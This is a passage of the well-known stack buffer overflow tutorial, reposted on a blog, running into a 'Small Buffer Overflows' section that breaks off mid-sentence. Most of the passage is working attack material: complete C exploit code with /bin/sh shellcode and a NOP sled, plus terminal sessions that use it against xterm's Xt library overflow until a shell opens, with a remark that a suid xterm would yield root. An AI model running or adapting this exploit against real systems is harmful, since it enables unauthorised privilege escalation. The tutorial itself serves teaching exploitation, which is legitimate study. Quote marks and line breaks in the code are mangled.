#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0×90

char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

addr = get_sp() - offset;
printf(”Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = ‘\0';memcpy(buff,”EGG=”,4);putenv(buff);system(”/bin/bash”);}——————————————————————————A good selection for our buffer size is about 100 bytes more than the sizeof the buffer we are trying to overflow. This will place our code at the endof the buffer we are trying to overflow, giving a lot of space for the NOPs,but still overwriting the return address with the address we guessed. Thebuffer we are trying to overflow is 512 bytes long, so we’ll use 612. Let’stry to overflow our test program with our new exploit:——————————————————————————[aleph1]$ ./exploit3 612Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG$——————————————————————————Whoa! First try! This change has improved our chances a hundredfold.Let’s try it now on a real case of a buffer overflow. We’ll use for ourdemonstration the buffer overflow on the Xt library. For our example, we’lluse xterm (all programs linked with the Xt library are vulnerable). You mustbe running an X server and allow connections to it from the localhost. Setyour DISPLAY variable accordingly.——————————————————————————[aleph1]$ export DISPLAY=:0.0[aleph1]$ ./exploit3 1124Using address: 0xbffffdb4[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name “ë^1¤FF°óV¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤^C[aleph1]$ exit[aleph1]$ ./exploit3 2148 100Using address: 0xbffffd48[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name “ë^1¤FF°óV¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿWarning: some arguments in previous message were lostIllegal instruction[aleph1]$ exit...[aleph1]$ ./exploit4 2148 600Using address: 0xbffffb54[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name “ë^1¤FF°óV¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿TûÿWarning: some arguments in previous message were lostbash$——————————————————————————Eureka! Less than a dozen tries and we found the magic numbers. If xtermwhere installed suid root this would now be a root shell.Small Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~


There will be times when the buffer you are trying to overflow is so
small that either the shellcode wont fit into it, and it will overwrite the
return address with instructions instead of the address of our code, or the
number of NOPs you can pad the front of the string with is so small that the
chances of guessing their address is minuscule. To obtain

ABOUT THE AUTHOR
AbhiShek SinGh
Founder of 'TheHackingArticles'. Cyber Security Analyst, Cyber Security Researcher, and Software Engineer. Follow 'AbhiShek SinGh' on Facebook , Twitter or Google+ or via Email

Subscribe to stay up to date